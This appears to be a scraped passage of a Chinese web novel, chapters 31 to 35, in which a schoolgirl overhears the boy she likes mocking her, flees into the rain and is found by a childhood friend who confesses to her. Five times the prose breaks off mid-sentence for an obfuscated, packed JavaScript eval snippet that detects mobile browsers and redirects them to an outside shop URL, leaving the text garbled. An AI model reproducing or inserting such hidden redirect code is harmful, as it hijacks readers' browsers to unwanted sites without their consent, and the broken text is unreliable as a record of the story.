姜祁月收回手,抿了抿有些泛白的唇,不太适应的说:“不用扶我的,我现在已经好了。” 缓过无力的那阵儿,她现在已经和平时没区别了,顶多看着不是很健康。 “好,那你走慢点。”霍鸷阳不是很放心,一边骂自己没出息,一边守在一旁护着,直到回班里坐下才长舒一口气。 事实证明他这口气松得显然有点早。 晨跑的事似乎并没有影响到姜祁月,她依旧会在空闲时间和温绥晏见面,连中午的午休时间也会到图书馆跟温绥晏一起学习。 霍鸷阳急得抓耳挠腮,但他唯一能做的,只有跟在后面当电灯泡。 虽然过程伤敌一千自损八百了点,效果却真心实意地好。 好几次姜祁月和温绥晏之间的气氛都过于暧昧,只差一点就捅破最后那层窗户纸。 好在有霍鸷阳在,轻轻松松就破坏掉那些粉泡泡弥漫的氛围。 几次下来,姜祁月也察觉到了不对劲,但她不好意思说什么,又找不到支开霍鸷阳的理由,只能任他跟着,心里有些着急。 分不清是不是吊桥效应。 经过晨跑那件事后,姜祁月再面对温绥晏时,总会产生一种表白的冲动。 曾经有长辈说过姜祁月像兔子,不仅温顺乖巧还很聪明可爱。 从某种角度看,这个评价并没有错。 兔子急了会咬人,姜祁月循规蹈矩这么多年,也会在忍急了时想要出格做点什么。 这是她第一次动出格的念头。 她想跟温绥晏表白。 哪怕无法百分百确定温绥晏一定对自己有意思,姜祁月也想表明自己的心意,不想再这样不明不白的粉饰太平下去。 她想,就算失败,也要失败得明明白白。 偏偏霍鸷阳在中间夹着,有些话她根本找不到机会说出口,只能装作若无其事的样子熬着,期盼霍鸷阳有天突然有事,没办法梗在他们中间碍事。 这一等就是将近一周的时间。 霍鸷阳真的被事情绊住了脚,但姜祁月却高兴不出来。 因为那天是苏浅灿的生日。 31.独发,禁止转载 接到电话时,霍鸷阳刚换完衣服带上礼物去隔壁院子找姜祁月。 挂断电话,他匆忙将礼物往姜祁月怀里塞。 “发生什么事了,怎么这么着急?”姜祁月将礼物抱好,奇怪的问了一句。 霍鸷阳含糊不清的说:“之前有件事一直想不明白,就委托朋友帮忙查了查,刚刚来消息说有了点线索,我得亲自过去看看才放心。” 顿了顿,霍鸷阳又补充道:“是很重要的事情,非常非常重要。” “浅灿的生日也不去了?”姜祁月问。 “说不准,要是事情查的快,应该能赶上吃生日蛋糕。”都这个时候了,霍鸷阳还有心思开玩笑:“就是得麻烦小乖帮忙带一下礼物,防止寿星误会,真以为我送不起礼物才不敢去现场。” “放心吧,肯定会给你带到的。”姜祁月颇为无奈。 霍鸷阳这才放心挥手告别:“那我先走了,出租车给你打好了,到时候之前去老地方等上车就行。” “去吧,有什么事记得联系我。”见他着急走,姜祁月没有阻拦,也没往下追问。 她心里有种预感,霍鸷阳委托朋友调查的事,应该跟她有关,既然这样,霍鸷阳迟早都会告诉她,没必要现在就打破砂锅问到底。 目送霍鸷阳离开,姜祁月带上自己准备的那份礼物,踏上去饭馆的路。 苏浅灿父母很宠女儿,知道女儿生日更想跟同龄人过,就花钱定了一家饭馆的大包厢,让女儿和朋友吃好玩好。 怕他们觉得不自在,夫妻两甚至没有出面,只等着苏浅灿晚上回去一起吃碗长寿面。 苏浅灿到的时候,太阳恰好落山。 还没来得及落幕的残阳挂在天边,看着非常漂亮。 包厢里已经有一批人到了,正围在一起玩斗地主。 平时这类游戏被学校明令禁止,现在有机会凑在一起,大家都想过过瘾。 姜祁月对斗地主不感兴趣,静静地坐在一边看他们玩。 来参加生日聚餐的都是熟人,凑在一起气氛非常好。 但再怎么好,她坐在角落里看着也有些不合群,孤零零一个远远看上去怪可怜的。 还是苏浅灿细心,及时发现姜祁月过来了,迅速凑过去笑骂道:“祁月,你来了怎么也不跟我说一声,不知道的还以为你是蘑菇精,一来就躲在角落里生长。” 看了眼四周,奇怪地问道:“咦,霍鸷阳呢?难不成真送不起礼物,不好意思过来?” 姜祁月将摆到沙发后面的两份礼物拿出来,全部递到苏浅灿手边,声音更无奈了:“他临时有急事被耽误了,忙完要是有时间会赶过来的,怕你误会他不敢来,临走前还特意把礼物递给我,让我记得给寿星带过来。” “什么事这么重要?”苏浅灿颇感好奇。 霍鸷阳实在不是个大气的人,跟小学生一样对朋友占有欲强。当初为了谁是姜祁月最好的朋友这个话题,苏浅灿和霍鸷阳吵了半个学期,谁也不让着谁,彻底结下梁子。 这种情况下,霍鸷阳居然顾不上面子,冒着被她误认为不敢来生日聚餐的风险,也要出去处理其他事。 苏浅灿是真的很好奇,什么事情能重要成这样。 “我也不清楚,等他来了再问问吧。”姜祁月摇头。 苏浅灿将礼物放在茶几上,大手一挥揽住姜祁月,嬉皮笑脸的说:“我还以为你今天会带朋友过来,没想到是孤零零一个人。” “我能带谁来?”姜祁月蹙眉,没听明白苏浅灿想表达什么。 “哎呀,你可真是……”苏浅灿都要被气笑了,恨铁不成钢的压低声音嘀咕:“别以为我不知道你跟校草走的近,关系都这么好了,怎么也不带过来让我瞧瞧?” 姜祁月往旁边靠了靠,耳尖微红,强装淡定道:“别乱说,早跟你说过多刷点题,不要看太多乱七八糟的小说。” “学霸姐姐,人家今天过生日,非要这么坏气氛吗?”苏浅灿龇了龇牙,明显在不服气。 姜祁月心里也虚着,没跟她继续计较这件事,目光落在其他人身上,轻飘飘开口说:“来参加生日聚餐的都是大家互相认识的,要是我突然带个陌生人来,其他人得多尴尬啊。” 这种事情她就很有经验。 当时校庆表演结束,温绥晏邀请她去参加聚餐,她也是坐立不安,尴尬的恨不得钻进地缝里。没必要让其他人也体验一遍。 “行行行,就你最有道理。”苏浅灿缴械投降,没再说这件事,转移话题道:“等会儿换游戏玩,要不要一起?” 姜祁月点头,轻声细语的说:“你是寿星,你说了算。” “那就这么说定了。”苏浅灿眼睛一亮,笑得不怀好意,显然在打坏主意。 说出去的话,泼出去的水。 即便姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701358|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁月意识到接下来的事情不会简单,也没有反悔的打算。 她了解苏浅灿,知道她看着大大咧咧,实际上很细心,不管做什么都有分寸。 不过很快,姜祁月就默默收回这个评价。 一局斗地主结束,沉浸其中的众人也注意到姜祁月来了,纷纷围过来打招呼。 苏浅灿人逢喜事精神爽,说话声音都不自觉变大,看上去非常有精神:“大家都知道我今天过生日,在场的也都成年了,不如玩局大的。” “玩什么?”凑过来的小姑娘眨巴了几下眼睛,好奇极了。 苏浅灿嘻嘻一笑:“真心话大冒险呐。” “切,我还以为有什么,就这?”小姑娘嫌弃的坐到另一边,有种被欺骗感情的感觉。 其他人反应也差不多。 只有姜祁月听见这个游戏名时有些不自在,脑海中想起上次玩这个游戏发生的尴尬事情。 犹豫片刻,姜祁月问:“要不要换个游戏玩?”她觉得自己跟这个游戏有点八字不合。 没想到苏浅灿误会了她的意思,以为她跟其他人一样觉得这个游戏无聊,急忙出声解释:“我还没说完呢,你们倒是听完再评价啊!输了的人除了选择真心话大冒险外,还能在做不出选择的时候喝一杯鸡尾酒抵消惩罚,这玩的还不够大吗?” 未成年的时候限制大,苏浅灿对酒非常好奇,现在好不容易过十八岁生日,明天还是周末,当然得找个由头碰一碰。 但她有分寸,不会碰度数高的,只准备了度数低的水果味鸡尾酒。那点度数,还没家里酿的甜米酒高,不会有事的。 跟苏浅灿关系好的小姑娘迟疑几秒,慢吞吞开口:“也不是不行……” 姜祁月:“……” 姜祁月心里总觉得有点奇怪,但话都说到这个程度了,连退路都有,她找不到拒绝的理由,只能加入游戏中去,祈祷自己不要像上次那样倒霉了。 不知道上天是不是听见她的祈祷,前几轮游戏姜祁月不仅没有输,还赢了好几把。 本着做人留一线,日后好相见的念头,姜祁月说的惩罚内容都很简单,渐渐的,也玩出几分趣味,激动的脸都红了,水光潋滟的眸子里满是兴奋,等待下一轮抽卡。 只要输的不是自己,她能一直玩下去。 但好运气总有耗尽的时候。 第六局时,姜祁月输了。 32.独发,禁止转载 “哈哈哈哈哈,月月啊月月,玩了这么多局,你可算是输了哈哈哈哈!” 苏浅灿笑得躺倒在沙发上,幸灾乐祸之情溢于言表。 “有这么高兴吗?祁月只输了一次,你输了整整三次!”旁边的小姑娘翻了个白眼,不明白苏浅灿在傻乐呵什么。 虽然很不道德,但这句拆台的话让姜祁月心情瞬间变好。 苏浅灿幸灾乐祸地表情一变,梗着脖子反驳:“那能一样吗?我那是让着你们。” “啊对对对。”小姑娘叉腰嘲笑。 伤害性不大,侮辱性极强。 “就算我输了好几局又怎么样?这局可是我赢了。” 苏浅灿骄傲的亮出自己抽到的牌,挨个炫耀了一遍才把牌收回来,得意洋洋的替自己找补:“现在我要动真格了,赢过月月只是第一步,下一局就到赢你们了!害不害怕?” 害怕是不可能害怕的。 众人纷纷“切”了一声,连配合都懒得配合。 得不到想要的回答,苏浅灿撇了撇嘴,将注意力全部放在姜祁月身上,再次露出不怀好意的笑:“月月,现在给你三个选择。第一,选择真心话,说出你的暗恋对象是谁;第二,选择大冒险,去敲响306包间的门,随机表白里面的人;第三,喝一杯鸡尾酒。” 话音刚落,包间内响起阵阵惊叹。 谁也没想到苏浅灿会玩这么大。 对其他放得开的人来说,这种惩罚内容笑笑就过去了,但被惩罚的对象换成姜祁月,效果就完全不一样了。 谁不知道姜祁月是老师和家长眼中的乖乖崽,以上三个选项无论选择哪个,都非常有看点,每一样都堪称爆炸性消息。 思及此,众人目光纷纷朝姜祁月看去,无比渴望她早点作出选择。 看热闹嘛,谁都爱。 “我……”姜祁月沉默许久,不知道该选什么好。 首先排除喝酒,虽然成年了,但这种东西还是少碰为好,她从没沾过,不想破例。真心话的话…… 在认识温绥晏前,她根本不会犹豫,直接选择真心话,告诉所有人她没有暗恋对象,只想好好学习,但现在谈到这类话题她都会感到心虚。别说骗其他人,话还没说出口就会被发现异常。 大冒险又着实尴尬了一点,她不是很想去。 但游戏是她亲自答应玩的,前几局其他人输的时候,哪怕有更刺激的惩罚内容也照样服从,她不想在浅灿的生日聚餐上,给大家留下玩不起放不开的印象。 “没关系,慢慢想,大家不着急,时间还早着呢。”苏浅灿嬉笑着凑到姜祁月身边,示意姜祁月可以慢慢想。 有了寿星开头,其他人也纷纷点头:“没错没错,我们不着急,祁月你慢慢想。” “要不这样,我帮你分析分析。”苏浅灿沉思片刻,分析道:“我觉得你肯定不会选喝酒,要不就选真心话?” “还是选大冒险吧,这么多人呢,祁月还脸皮薄,说那种隐私话题不是为难人吗。” 不知是谁说了这句话,引来一片赞同。 “没错,选大冒险好,惩罚结束后让其他人帮忙解释一下就行,不会有别人知道的。” “要是不放心,我们就不跟过去,只让寿星跟着监督就行。” 听到最后那句话,姜祁月眸色微动。 只有苏浅灿跟着的话,选择大冒险也不是不行。 苏浅灿能说会道,等惩罚结束后再帮忙解释一下一定可行。 不过…… “浅灿,你觉得可以吗?”姜祁月目光转向苏浅灿。 其他人只是提议,具体能不能施行还得当事人同意。 “当然可以,走了,我去监工,孩儿们继续在这儿待着吧!”苏浅灿起身,洒脱的挥了挥手。 剩下一群人眼巴巴盯着她们离开的背影看。 性格活泼地直接开口叮嘱:“别忘了等会儿回来跟我们说说情况。” “忘不掉,肯定不会忘的!”苏浅灿自信满满,直拍胸脯,随即扒拉着姜祁月胳膊,嘿嘿笑道:“月月,我们走!” 姜祁月没有反抗,任由她拉着出门。 刚出去,就听苏浅灿压低声音,神秘兮兮地说:“别说我不讲道德,306包间里有惊喜等你,绝对是你爱的惊喜!” 不仅对姜祁月是惊喜,对306包间的人更是! 意外发现306包间的客人有谁时,苏浅灿就一直谋划着给姜祁月一个惊喜。天知道让一个心里藏不住事的人,藏着掖着做这么大的事有多煎熬。 好在一切都值得,以身入局输了那么多次,还是让她达成了目的。 千言万语汇成一句:老天开眼,天助她也! “惊喜?”姜祁月重复了一遍这两个字,悬着的心放下大半,哭笑不得的说:“今天的寿星是你,应该是送你惊喜才对,怎么想到送我?” 苏浅灿头都要仰起到天上去了,得瑟道:“咱们谁跟谁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715225|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还分那么清吗?” 说完,率先上前一步带路。 只有两个人在,还提前得知了306包间里有惊喜,姜祁月速度也加快几分,不再像最开始那样慢吞吞的往前挪动。 饭馆没有酒店大,这会儿客流量也不大,有客的包间基本都安排得很近,方便服务员上菜和清理卫生。 306包间和苏浅灿父母提前预订的包间只隔了个落地窗。 透过落地窗,姜祁月注意到天色有些不对劲。 “灿灿,你看外面,是不是要下雨了?” 她下意识停住脚,目不转睛的盯着落地窗看,心底莫名有些不安。 “天都黑了,怎么看出来要下雨的?”苏浅灿倒退几步,稀奇的凑到落地窗边。 姜祁月:“乌云遮住了月亮,外面很闷沉。” 除了这些,还有一部分是直觉,说不上来的直觉。 “害,没事,这有什么好担心的?下雨就让它下呗,等吃饱喝足,我花钱打车送你回家,放心吧。”苏浅灿拍胸口保证,随后拉着姜祁月走到306包间外,眼睛闪闪发亮,压低声音说:“等会儿开门不要太惊讶哦~” 说完就要抬手敲门。 一旁的姜祁月无奈叹气,随她去了。 谁料饭馆包间门隔音效果差,敲门的手还没来得及落下,就听见里面的交谈声传了出来。 苏浅灿猛地收回手,脸上笑容变为惊愕。 姜祁月也在听清里面说了什么后,整个人呆滞在原地。 “绥晏,你真对新学校那个乖乖女动心了?咱们可是听说了,你转学后在新学校热度大的很。” “咱温哥是那种为了一朵花放弃整个花丛的蠢货吗?” “就是,温哥快说两句呗。” 哪怕只有三言两语,也不难猜出里面的人是谁。 直到现在,姜祁月也抱着一点微弱的期待。 下一秒,她听见了温绥晏的说话声。 和往日的温柔似水不同,此时的温绥晏语气懒散,满是嘲讽意味:“偶尔装纯情也挺有意思的,她们那种乖乖女最好哄不是吗?等玩腻了,再来一句我们只是普通朋友,什么麻烦也没有,她们只会怀疑自己想多了,多省事,多省心。” “是,那必须得是啊!哈哈哈,还得是绥晏你!” “就是她身边那个竹马太碍事了,你们想办法给他找点麻烦,让他顾不上碍事。” “没问题,交给咱吧!” 33.独发,禁止转载 落地窗外乌云密集,大风席卷而来。 树枝被吹得摇摇晃晃,发出刺耳的碰撞声。 树叶吹落在地,在路面飘来飘去。 路边行人加快速度往家跑,边跑边喊要下雨了。 闪电划过天际,照亮黑沉沉的夜幕。 姜祁月呆站在包间外,睫毛轻轻颤动,心底升起无与伦比的荒诞感,一度怀疑自己在做梦。 冰冷的风裹挟着雨丝吹在身上,带来一阵刺骨凉意,仿佛在用这种方式告诉她,这一切都是真的。 最后一丝奢望被温绥晏亲手打碎。 那一刻,姜祁月不知道该怎么形容自己的心情。 循规蹈矩过了十几年,她做过最出格的事就是计划向温绥晏表白。她以为自己和妈妈一样幸运,早早就遇到了值得心动的人,没想到一切都是假的。 温柔绅士和纯情全部都是伪装的。 温绥晏身边的朋友都知道真相,甚至围在一起嘲讽她愚蠢好骗,只有她被蒙在鼓里,要不是阴差阳错被苏浅灿带到包间外,或许真会被骗得团团转。 很难想象,一个人能恶毒到这种令人发指的地步。 心神震颤之际,姜祁月心中发冷。 她不敢想在自己之前,还有多少和自己一样的女生被骗。 多在这里站一秒,姜祁月都会感到恶心反胃。 她转身往外跑,速度越来越快。 没有目的地,一心只想离开。 身后隐约传来苏浅灿的叫喊声:“月月,你去哪儿啊!” 她没有犹豫,继续往前跑,一路从楼梯跑到一楼。 前台小姐姐看见客人状态不佳奔下楼,立刻挂上得体的笑容,声音温柔:“您好,外面在下雨,有什么能帮得上您的吗?” 姜祁月抬头,眼眶泛红,带着朦胧水雾。 见状,前台小姐姐更担心了,忍不住多说了一句:“外面在下雨,很容易着凉,着凉了就会生病……” 关切的声音和目光就像隔了层雾,在姜祁月面前变得模糊不清。 就像隔着很远的距离看哑剧。 而她就是哑剧中的丑角。 她不知道自己是怎么回答的,只知道自己冲出饭馆后,凭本能找了个隐蔽的小角落。 两个无人居住的瓦房中间相隔的缝隙不大,只能容纳一个人通行。 两座瓦房瓦片交接,刚好遮挡住上方落下的雨点。 雨滴落在瓦片上,发出劈里啪啦脆响。 姜祁月蜷缩在角落中,出神的盯着地上看,眸中一片茫然,脑子乱成一团浆糊。 就像受到惊吓的小兔子,将自己团成团锁在窝里。 只有这样才能给她带来一点安全感。 雨丝被大风斜吹进来,倒灌进衣领。 姜祁月冷得打了个哆嗦,唇色有些泛白。 跑了一路,她身上淋了不少雨。 之前还没感觉,现在找到栖身之地,身体渐渐恢复了知觉,姜祁月方才惊讶的发现,自己的四肢不知何时冷到不受控制发颤。 手臂环膝蹲在角落的动作也很耗体力。 维持同一个姿势这么久,脚麻的几乎感觉不到它的存在。 落魄至此,姜祁月还有心思想,浅灿这次给她的惊喜没有喜,只有惊。这大概是苏浅灿过的最难忘的一个生日吧? 真丢脸啊。 姜祁月脑海中再次浮现出听到的内容。 苏浅灿喊她的声音那么大,包间里面的那些人应该也听见了,不知道他们打算怎么做。 但她现在根本没办法调整好自己的情绪,不想把坏情绪带给其他人,能做的只有躲在角落让自己冷静冷静,任性的把一切交给苏浅灿处理。 姜祁月觉得自己现在很疲倦,什么也不想管,只想一直这样一个人静静待下去,永远躲在这个静谧安全的小缝隙角落里。 啪嗒—— 一滴水落在姜祁月手背。 和冰冷体温不同,这滴水异常滚烫。 同样被滚烫水滴浸染的,还有毫无血色的面颊。 姜祁月下意识抬手擦了一下。 带着温度的水越来越多。 舔了舔干燥唇瓣。 是咸的。 她盯着手背那滴凉下来的水,后知后觉意识到,那是自己的眼泪。 原来她哭了啊…… 雨一直在下,还有越来越大的趋势。 路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721225|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边看不见一个行人。 哪怕有瓦片遮挡,也有不少雨往姜祁月那边飘。 不远处的小土坑里集满雨水,变成浑浊的小水洼,看上去脏兮兮的。 大腿高的野草被风吹得摇摇晃晃,更显四周荒芜。 唯有几盏路灯还在辛勤工作,照亮前方的路。 不知道是不是错觉,姜祁月看见有个黑点在雨幕中行走。 越走距离她越近。 大黑伞遮挡住胸部以上部位,看不太清是谁。 心底却升起熟悉的感觉。 姜祁月呆呆地仰起头看,睫毛还沾着没落下的水珠。 连她自己都分不清是泪水还是雨水。 和来者干净清爽的模样相比,她太狼狈了。 脚步在缝隙口停住。 本就微弱的光线被遮挡得严严实实。 雨伞完全倾斜,替她遮挡住斜飘进来的风雨。 手机电筒功能开启,照亮仅供一人通行的小道。 也照亮了姜祁月的样子。 往日总爱阴阳怪气的暴躁少年此时面色阴沉,撑着伞站在雨中,咬牙切齿的骂道:“姜祁月,真是能耐了你,为了个男人哭成这样,丢不丢人?” “喜欢人也不知道找个知根知底的。” “你就不能看看我吗?” 姜祁月睫毛轻颤。 水珠滚落,被遮挡的视线恢复正常。 她对上了一双心急如焚的关切眼眸。 听着传入耳中的话语,姜祁月终于意识到,霍鸷阳好像喜欢她…… 往日的阴阳怪气和争锋相对,在此时突然变得无比明朗。 姜祁月莫名有些想笑。 之前她怎么就没想到呢,即便是亲生的妹控哥哥,也不可能做到霍鸷阳这样。 明明距离分开只过了几个小时,姜祁月却觉得过了很久很久。 久到……一切都变了。 想表白的校草原形毕露,内里污秽不堪。 当成挚友的人突然表白,还看见她最狼狈的一幕。 姜祁月多希望这是一场噩梦,梦醒了一切都恢复如常。 可惜这不是梦。 一切都是真的…… 34.独发,禁止转载 “快去浴室好好洗洗,一身冷雨也不怕着凉。” “隔壁客房还放着你前年在这儿住的时候留的衣服,看看大小还适不适合穿,不适合的话我去隔壁帮你拿一件过来。” “洗完澡记得吹头发,锅里生姜水炖着了,出来记得喝完,驱驱寒。” “放心,今天的事我会烂在肚子里,不会让其他人知道的。” 一句又一句话传入耳中。 坐在凳子上的姜祁月睫毛轻颤,心里涌起一股暖流,抬眸看了跑来跑去的霍鸷阳一眼,稍微有些出神。 曾经鲁莽冲动的少年,好像突然就成长起来了,比谁都会关心人。 “水已经放好了,快进去吧。”霍鸷阳推开浴室门,随手擦了擦脸上的雨水,示意姜祁月快进去洗澡。 姜祁月嘴唇翕动,一句话也没能说出来,沉默的接过霍鸷阳递来的毛巾,去浴室洗头洗澡。 热水淋在身上,带走一身寒气。 四肢恢复知觉,迟钝的大脑也重新开始运转。 泡在热水中,姜祁月觉得自己又活过来了。 饭馆包间外发生的事再次浮现在脑海中。 不知道是不是发泄完负面情绪的缘故,再回想起来,她的心态出乎意料地平静,仿佛看完一场荒诞演出的普通群众。 疲倦感并没有随之消失,反而越来越浓。 姜祁月什么也不想管,什么也不想问,只想好好睡一觉。 吹完头发从浴室出来,一眼看见蹲守在外头的霍鸷阳。 霍鸷阳上下打量了姜祁月一眼,满意点头:“不错不错,衣服还算合身,等会儿回去你打算怎么跟乔姨说?” 今晚苏浅灿生日,原本的打算是吃完蛋糕去ktv通宵庆祝,提前给两对父母报备过。 原本这两对父母打算趁机出去玩两天,但乔玉韵临时来了笔订单,最后只有霍鸷阳父母去成了。 躲得过初一躲不过十五,明天回去乔玉韵肯定会发现姜祁月换了身衣服,到时候还真不好解释。 依照姜祁月的性格,绝对不会把这么丢脸的事告诉给家长听。 “等会儿再说吧,你还没洗澡吧?快去吧。”姜祁月不想多说,垂眸坐在书桌前,目光落在基础知识点教材上,不知道在想些什么。 霍鸷阳打了个喷嚏,闪身冲进浴室,还不忘调高音量叮嘱:“锅里姜汤已经好了,记得盛碗喝下去。” 这句话霍鸷阳说了好几遍,再听都要起茧子了。 姜祁月没说什么,走到厨房盛姜汤喝。 他们两家住的近,平时谁家有事家长回不来,都是到另一家暂住的,因此她对霍鸷阳家的布局非常了解,东西摆放的位置也清清楚楚。 一碗姜汤喝下去,体内寒气被蒸腾出去,从头到脚都暖烘烘的,甚至有些冒汗,人也清爽许多。 困倦感消失,姜祁月盯着门外黑漆漆的夜色看,视线有些涣散。 在她和霍鸷阳回来的时候雨就停了。 短短几个小时发生了太多事,当时她整个人都处在失魂状态,根本顾不上其他,还好霍鸷阳脑子没糊涂,上出租车前给苏浅灿发了消息说找到了她,不然耽误这么久,苏浅灿一定急得报警了。 不过这件事还得她亲自说一下,不然惊喜变成惊吓,还带来这么多可怕后续,苏浅灿指不定内疚死。 她拿起手机,给苏浅灿发了条消息。 姜祁月:【浅灿,我已经回来了,今天的事是意外,跟你没关系,你不要多想。】 放下手机,她又去盛了碗姜汤。 还没来得及喝,就发现手机震动个不停。苏浅灿就像守在手机另一边等她消息一样,刚收到她的消息就激动的发了好几条信息。 苏浅灿:【回去了就好,记得洗澡换身衣服,喝点驱寒的药,防治感冒。说起来真是知人知面不知心,谁能想到他这么能装啊!要不是他今天刚好约上个学校的朋友来这家饭馆吃饭,咱们现在还被蒙在鼓里。】 苏浅灿:【放心,我跟霍鸷阳还有其他人都帮你教训过他了,他和那些狐朋狗友现在还在医院里待着。一想到我之前写过你跟他的同人文,我隔夜饭都吐出来了。】 苏浅灿:【月月,你别嫌弃我话多,大家都很担心你呜呜呜,天涯何处无芳草,千万别被人渣影响了。】 字里行间满是关切。 担心姜祁月难受,苏浅灿连名字都不敢打全,只用“他”来暂替。 姜祁月心底一软,眼眶有些酸涩,捏着手机壳的手指用力到泛白。 指腹轻触手机屏幕,她垂眸编辑了条新消息发过去:【我没事,就是影响到了你过生日,等高考结束我请你们去ktv玩吧,就当是补偿。】 苏浅灿:【这又不是你的错,就算补偿也该是我补偿你,怪我太冲动,一发现人在那里就想撮合你们,要不然也不会这样。】 苏浅灿:【不过这件事闹的这么大,月月你打算怎么处理啊?】 不等姜祁月回答,苏浅灿急忙发了条新消息:【放心,这件事主动权在你这边,没人知道你真的喜欢他,只把表白当成真心话大冒险游戏,你想怎么处理都没事。】 姜祁月盯着那条新消息看了很久,第一次庆幸自己之前顾虑多,一直把小心思藏在心里,只有面对苏浅灿才会透露一点点,没有早早表白。 不然现在闹出这种事,不仅温绥晏丢脸,她也没脸面对其他人。 又聊了几句,姜祁月拼凑出自己离开饭馆后发生的事。 当时她离开,苏浅灿喊了她几声,声音太大被温绥晏一行人发现。 他们推开门还没来得及反应,就被怒气翻涌的苏浅灿一人甩了一巴掌。 对面也不是吃素的,当即就扭打起来。 要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725497|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是苏浅灿父母未雨绸缪,从小就把女儿送去学拳脚功夫,苏浅灿一个人面对六七个男的,还真不好对付。 打起来后事情就开始失控。 原本在包间等惩罚反馈的人,等了好一会儿都没等到她们回来,意识到发生了事情,立刻出去找人。不看不要紧,一看吓一跳,虽然不知道发生了什么,但同样加入战局帮苏浅灿打架。 能跟苏浅灿和姜祁月玩在一起的,都是人品过关的人,打架水平有所欠缺,就算人数上对等,也比不上对面那群不要脸的混混。 好在关键时刻霍鸷阳赶到。 有了霍鸷阳的加入,战况一边倒,很快就压制住那几个混混。 苏浅灿简单说了下包间外听见的话,顿时引起众怒,一人踹了温绥晏一脚。 慌忙上楼想拉架的女老板是性情中人,听见那些话后干脆睁一只眼闭一只眼,招呼工作人员去楼下收拾东西去了。 再后来,霍鸷阳跑去找姜祁月,苏浅灿留下来处理后续。 温绥晏等人自知理亏,不想把事情闹大,灰溜溜互相搀扶着去了医院。 也是因为这件事,他们才了解到更多内幕。 这些内幕还多亏霍鸷阳打探,要不是为了这些事,他今天也不会这么晚才赶来饭馆。 温绥晏之所以转学,就是在上个学校脚踏几条船哄骗小姑娘翻车,差点闹出跳楼的事。后来温绥晏父母出面,给了女生父母和学校一大笔钱做封口费,再把温绥晏转到新学校,才把事情压了下来。 除此之外,还有个更劲爆的传闻。——温绥晏的成绩都是立人设买答案造假,细数下来只有弹钢琴不错是真的。 苏浅灿啧啧称奇,感叹道:【也多亏了他让我长见识,原来还有专门蹲联考答案的群,人数还不少,分的还挺细,不仅有普通群还有会员群,作弊作出新高度,怪不得他跟你说家里人想让他高考前出国镀金,在国内高考还不得露馅呐。】 发完消息,还贴了个翻白眼的表情包。 一次性接收这么多消息,姜祁月有些晃神。 温绥晏造假的东西比她想得还要多…… 一想到自己差点跟这样的人表白,她就忍不住感到恶心反胃,同时又翻涌起怒意。 只是自己一个人的话,姜祁月还不至于这么生气,但被祸害的人远不止她。 听说温绥晏家挺有钱的,现有法律也无法对他造成大影响。 事情闹得这么大,温绥晏父母不可能什么都不知道,他们之前的做法等同于纵容,就算这件事闹大也不会放弃温绥晏,只会加快温绥晏出国留学的速度。 做错事的人不用接受任何惩罚,美美换个地方继续祸害人。 恶心,太恶心了。 曾经的心动尽数化为厌恶。 姜祁月放下手机,深呼吸一口气,沉思起有没有办法让温绥晏受到惩罚。 35.独发,禁止转载 “想什么想的这么出神?喊了好几遍都没听见。” 就在姜祁月出神之际,身后突然响起一道询问声。 霍鸷阳擦干头发上的水迹,身上还残留着从浴室带出来的热气,视线落在装着姜汤的碗里,忍不住催了句:“姜汤都快凉了,记得趁热喝。” “嗯。”姜祁月手指微蜷,端起碗把里面的姜汤一口气喝完,除此之外什么也没说。从霍鸷阳撑着伞说出那句表白的话时,她就不知道该怎么面对霍鸷阳了。 姜水里加了糖,很好地中和了姜的辣味,喝起来不算太糟。 放下碗,姜祁月看向霍鸷阳,眸色微动,开口想说些什么。 霍鸷阳抢先一步劫走话题,若无其事般说道:“其他的事过几天再说,你别多想,好好休息。” 什么都没说,又好像什么都说了。 见他不想提表白的事,姜祁月心里松了一口气。 事情堆的太多了,她现在脑子乱得很,不说表白的事也好。 等过段时间有空了,再好好跟霍鸷阳聊聊。 紧绷的身体渐渐放松下来,姜祁月犹豫片刻,摇头说:“我现在不累,有件事想问问你的意见。” 